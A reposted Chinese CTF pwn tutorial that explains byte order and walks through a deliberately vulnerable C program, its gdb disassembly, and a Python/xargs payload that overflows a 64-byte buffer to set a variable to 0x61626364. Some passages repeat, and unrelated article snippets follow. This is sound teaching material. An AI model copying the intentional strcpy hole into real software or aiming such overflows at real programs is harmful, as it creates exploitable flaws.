CTF PWN之精确覆盖变量数据

news2024/11/16 12:58:14

刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢?

我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。

这里就用今天的实验,给大家介绍一下!

本文涉及相关实验:[《CTF
PWN练习之精确覆盖变量数据》](https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014110113362900001&pk_campaign=freebuf-
wemedia)(在掌握大小端字节序表示法的基础上,通过精心构造的输入数据溢出缓冲区,实现对modified变量的值进行精确覆盖,以达到修改程序执行逻辑的目的。)

看下面的例子 打印命令行参数信息的示例代码(位于/home/test/2目录下):#include <stdio.h>int main(int argc, char** argv){int i;for (i = 0; i < argc; ++i){printf(“argv[%d] = %s\n”, i, argv[i]);}return 0;}

注意程序本身的名字为命令行的第一个参数。编译这段代码生成test程序,然后在命令行下执行,尝试传入命令行参数,如:./test hello world
cmdline,可以看到程序打印出了具体的命令行参数信息:

图片1.png

xargs命令Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c “print ‘AAA BBB
CCC’” | xargs ./test后,输出:

图片2.png

python语句执行后输出AAA BBB
CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。

小白:就是我们借助xargs可以把输入数据当成命令行参数输给这个程序。

大东:对的,另外还需要讲的是一个字节序
字节顺序,又称端序或尾序(英语:Endianness)。对于内存中存储的0x11223344这样一个值,从低地址往高地址方向的每一个字节来看,其内容在内存里的分布可能为0x11,0x22,0x33,0x44,也可能为0x44,0x33,0x22,0x11。

这就涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:

图片3.png

0x11223344中的最高的字节为0x11,最低的字节为0x44,我们只要记住小端格式是“高存高,低存低”的规律,就很好的理解了。即小端格式中,高位字节存储于内存的高地址处,而低位字节存储于内存的低地址处。

Intel、AMD等系列的处理器都是小端格式的。

题目描述:

主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示
Congratulations, you pwned it. ,失败则会提示**Please try again.**的提示信息。

第一步源码审计使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:#include <stdio.h>#include <string.h>#include <stdlib.h>int main(int argc, char** argv){int modified;char buffer[64];if (argc == 1){printf(“please specify an argument\n”);exit(1);}modified = 0;strcpy(buffer, argv[1]); // 引发缓冲区溢出if (modified == 0x61626364){printf(“Congratulations, you pwned it.\n”);}else{printf(“Please try again, you got 0x%08X\n”, modified);}return 0;}

这源码要怎么pwn掉它呢?

我们可以尝试一个姿势,使用strcpy函数复制字符串时,并不会对目标缓冲区的长度进行检查,当源字符串的长度超过目标缓冲区的长度时会引发缓冲区溢出。这里当输入的超长的命令行参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。

这个程序有一个条件modified ==,那么要多少才能pwn出去呢?0x61626364

我们来继续分析,执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas
main命令即可:

下面是对main函数中的汇编代码的解释

0x080482a0 <+0>: push %ebp

0x080482a1 <+1>: mov %esp,%ebp

0x080482a3 <+3>: and $0xfffffff0,%esp

; esp = esp - 0x60,即在栈上分配0x60)字节的空间

0x080482a6 <+6>: sub $0x60,%esp

; 判断命令行参数的个数是否为1

0x080482a9 <+9>: cmpl $0x1,0x8(%ebp)

0x080482ad <+13>: jne 0x80482c7 <main+39>

0x080482af <+15>: movl $0x80b3dac,(%esp)

0x080482b6 <+22>: call 0x80493c0

0x080482bb <+27>: movl $0x1,(%esp)

0x080482c2 <+34>: call 0x8048e90

; 命令参数个数不是1,说明传入了命令行参数

; modified变量位于esp + 0x5C处,将其初始化为0

0x080482c7 <+39>: movl $0x0,0x5c(%esp)

; 通过ebp + 0xC获取argv参数的值

0x080482cf <+47>: mov 0xc(%ebp),%eax

; eax = eax + 4

0x080482d2 <+50>: add $0x4,%eax

; 取argv[1]的值

0x080482d5 <+53>: mov (%eax),%eax

; 将argv[1]作为strcpy的第二个参数值

0x080482d7 <+55>: mov %eax,0x4(%esp)

; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值

0x080482db <+59>: lea 0x1c(%esp),%eax

0x080482df <+63>: mov %eax,(%esp)

; 调用strcpy进行字符串复制

0x080482e2 <+66>: call 0x80525b0

; 判断modified的值是否为0x61626364

0x080482e7 <+71>: cmpl $0x61626364,0x5c(%esp)

; 不相等则跳转并输出失败信息

0x080482ef <+79>: jne 0x80482ff <main+95>

; 输出成功提示信息

0x080482f1 <+81>: movl $0x80b3dc8,(%esp)

0x080482f8 <+88>: call 0x80493c0

0x080482fd <+93>: jmp 0x8048314 <main+116>

0x080482ff <+95>: mov $0x80b3de8,%eax

0x08048304 <+100>: mov 0x5c(%esp),%edx

0x08048308 <+104>: mov %edx,0x4(%esp)

0x0804830c <+108>: mov %eax,(%esp)

0x0804830f <+111>: call 0x8049390

0x08048314 <+116>: mov $0x0,%eax

0x08048319 <+121>: leave

0x0804831a <+122>: ret

通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C

0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造命令行参数。

下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点:

图片5.png

在gdb中执行r命令,如下(r后面的数据为64个A以及1234):

r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234

即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:

图片6.png

在gdb中输入x
$esp+0x5C,查看modified变量的值已经被修改成了0x34333231,而0x31为字符’1’的ASCII值,0x32为字符’2’的ASCII值,0x33为字符’3’的ASCII值,0x34为字符’4’的ASCII值:

图片7.png

使用x /4xb
$esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):

图片8.png

现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。

在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:

图片9.png

现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。

通过上面的步骤我们已经知道,只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x61626364时才通过判断,因此我们构造的数据应该为\x64\x63\x62\x61。如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过xargs传给pwn2程序,执行命令:python -c “print ‘A’*64+‘\x64\x63\x62\x61’” | xargs ./pwn2

图片10.png

看到已经成功发起了溢出攻击,程序被PWN掉啦!

其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:python -c “print ‘A’*64+‘dcba’” | xargs ./pwn2

图片11.png

这次的实验真的很费脑筋,分析处理了好多数据,才得到结果。

看到已经成功发起了溢出攻击,程序被PWN掉啦!

其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:python -c “print ‘A’*64+‘dcba’” | xargs ./pwn2

[外链图片转存中…(img-SNjX496F-1691584274873)]

这次的实验真的很费脑筋,分析处理了好多数据,才得到结果。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【点下方卡片】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/854708.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

进入现代云技术的世界-APIGateway、ServiceMesh、OpenStack、异步化框架、云原生框架、命令式API与声明式API

目录 APIGateway Service Mesh OpenStack 异步化框架 云原生框架 命令式API与声明式API APIGateway API网关&#xff08;API Gateway&#xff09;是一个服务器——充当了客户端和内部服务之间的中间层。API网关负责处理API请求&#xff0c;将客户端的请求路由到相应的后端…

centos8.5本地yum源报错

在下载文件出现以下错误 [rootserver ~]# yum install gcc Updating Subscription Management repositories. Unable to read consumer identity This system is not registered with an entitlement server. You can use subscription-manager to register. RHEL8.5-BaseOS …

上海亚商投顾:沪指录得4连阴 N盟固利盘中最高涨近37倍

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 市场情绪 沪指今日延续调整走势&#xff0c;科创50指数跌超1%&#xff0c;创业板指则较为抗跌。医药医疗股集体爆发&#xf…

【网络基础实战之路】实现RIP协议与OSPF协议间路由交流的实战详解

系列文章传送门&#xff1a; 【网络基础实战之路】设计网络划分的实战详解 【网络基础实战之路】一文弄懂TCP的三次握手与四次断开 【网络基础实战之路】基于MGRE多点协议的实战详解 【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解 PS&#xff1a;本要求基于…

Pytorch深度学习-----神经网络模型的保存与加载(VGG16模型)

系列文章目录 PyTorch深度学习——Anaconda和PyTorch安装 Pytorch深度学习-----数据模块Dataset类 Pytorch深度学习------TensorBoard的使用 Pytorch深度学习------Torchvision中Transforms的使用&#xff08;ToTensor&#xff0c;Normalize&#xff0c;Resize &#xff0c;Co…

前端先行模拟接口(mock+expres+json)

目录 mock模拟数据&#xff1a;data/static.js 路由&#xff1a;index.js 服务器&#xff1a;server.js yarn /node 启动服务器&#xff1a;yarn start 客户端&#xff1a;修改代理路径(修改设置后都要重启才生效) 示例 后端框架express构建服务器 前端发起请求 静态数…

Power BI中实现购物篮分析详解

一、购物篮分析简介 相信&#xff0c;很多人都听过沃尔玛购物篮分析的故事---“啤酒和尿布湿“&#xff0c;即分析购买尿布湿的顾客最喜欢购买的商品是什么&#xff1f;&#xff08;啤酒&#xff09;。在零售终端经营中&#xff0c;通过购物篮分析&#xff0c;分析不同商品之间…

Leetcode-每日一题【剑指 Offer 16. 数值的整数次方】

题目 实现 pow(x, n) &#xff0c;即计算 x 的 n 次幂函数&#xff08;即&#xff0c;xn&#xff09;。不得使用库函数&#xff0c;同时不需要考虑大数问题。 示例 1&#xff1a; 输入&#xff1a;x 2.00000, n 10输出&#xff1a;1024.00000 示例 2&#xff1a; 输入&#…

数据挖掘全流程解析

数据挖掘全流程解析 数据指标选择 在这一阶段&#xff0c;使用直方图和柱状图的方式对数据进行分析&#xff0c;观察什么数据属性对于因变量会产生更加明显的结果。 如何绘制直方图和条形统计图 数据清洗 观察数据是否存在数据缺失或者离群点的情况。 数据异常的两种情况…

每日后端面试5题 第三天

1. 线程有哪几种状态以及各种状态之间的转换&#xff1f;(必会) 看图&#xff1a; 图片来自 线程状态转换图及其5种状态切换_小曹的blog的博客-CSDN博客 图片来自 总算把线程六种状态的转换说清楚了&#xff01; - 知乎 线程一共有4种状态&#xff0c;分别是&#xff1a; 1.…

js手写贪吃蛇游戏

前端手写贪吃蛇游戏 贪吃蛇游戏 场景 使用了js 和 html /css 就可以完成 一个贪吃蛇小游戏 技术分析 主要用到的几个技术点&#xff1a; clientWidth &#xff1a;元素的宽度&#xff0c;包含内边距clientHeight &#xff1a;元素的高度&#xff0c;包含内边距setInterval&am…

【论文笔记】Cross Modal Transformer: Towards Fast and Robust 3D Object Detection

原文链接&#xff1a;https://arxiv.org/abs/2301.01283 1. 引言 受到DETR启发&#xff0c;本文提出鲁棒的端到端多模态3D目标检测方法CMT&#xff08;跨模态Transformer&#xff09;。首先使用坐标编码模块&#xff08;CEM&#xff09;&#xff0c;通过将3D点集隐式地编码为多…

面试笔记:Android 架构岗,一次4小时4面的体验

作者&#xff1a;橘子树 此次面试一共4面4小时&#xff0c;中间只有几分钟间隔。对持续的面试状态考验还是蛮大的。 关于面试的心态&#xff0c;保持悲观的乐观主义心态比较好。面前做面试准备时保持悲观&#xff0c;尽可能的做足准备。面后积极做复盘&#xff0c;乐观的接受最…

[分享]STM32G070 串口 乱码 解决方法

硬件 NUCLEO-G070RB 工具 cubemx 解决方法 7bit 改为 8bit printf 配置方法 添加头文件 #include <stdio.h> 添加重定向代码 #ifdef __GNUC__#define PUTCHAR_PROTOTYPE int __io_putchar(int ch)#else#define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f)#endi…

安装程序报错问题解决 -2147287037 <<30005>> 2203

本文如下报错适用&#xff1a; 一、The installer has encountered an unexpected error installing this package. Thismay indicate a problem with this package. The error code is 2203 二、错误 2203.数据库&#xff1a; C:\WINDOWS\Installer\inprogressinstallinfo.i…

别找了,这7个AI绘画图软件够你用了!

AI 绘图工具最妙的是也让人人都能成为朋友圈里的“画家”&#xff0c;如果你也想要拥有一个趁手的 AI 绘画工具&#xff0c;那么就跟随本文一起来看看吧&#xff01;本文精选了7全球顶尖的AI绘图工具给大家&#xff0c;包括&#xff1a;即时灵感、Jasper Art、Images.ai、Night…

休闲卤味强势崛起:卤味零食成为新一代热门美食

随着人们生活水平的提高和消费观念的转变&#xff0c;休闲卤味逐渐成为了人们日常生活中的热门美食。据最新数据显示&#xff0c;2022年&#xff0c;我国卤味市场销售额达到了约2000亿元&#xff0c;预计到2025年将突破3000亿元大关。其中&#xff0c;休闲卤味以每年10%的速度持…

趋势洞察:中国企业高质量出海白皮书!

目前&#xff0c;我国仍处于战略发展机遇期的大背景&#xff0c; 面对全球经济放缓、不确定性增强的常态&#xff0c;国内高端市场的竞争也日趋激烈&#xff0c;对于寻求高质量发展的中国企业&#xff0c; 出海将成为重要的增长点。 今天运营坛为大家整理了一份《中国企业高质量…

弹簧阻尼系统前馈PID位置控制(PLC完整闭环仿真SCL+ST代码)

弹簧阻尼系统的前馈PID控制请参看下面文章链接: 前馈控制之如何计算前馈量(质量弹簧阻尼系统)_前馈控制量_RXXW_Dor的博客-CSDN博客带前馈控制的博途PID程序请参看下面的文章链接:首先我们看下什么是弹簧阻尼系统。1、质量弹簧阻尼模型。_前馈控制量https://rxxw-control.bl…

使用Spring五大注解来更加简单的存储Bean对象

在使用Spring框架的时候我们如果使用这种方式来存储bean对象的话未免有点太麻烦了 <bean id"xxx" class"xxx"> </bean> 为了简化存储Bean对象的操作&#xff0c;我们可以使用五大类注解来进行存储Bean对象 我们首先要在配置文件配置扫描路径…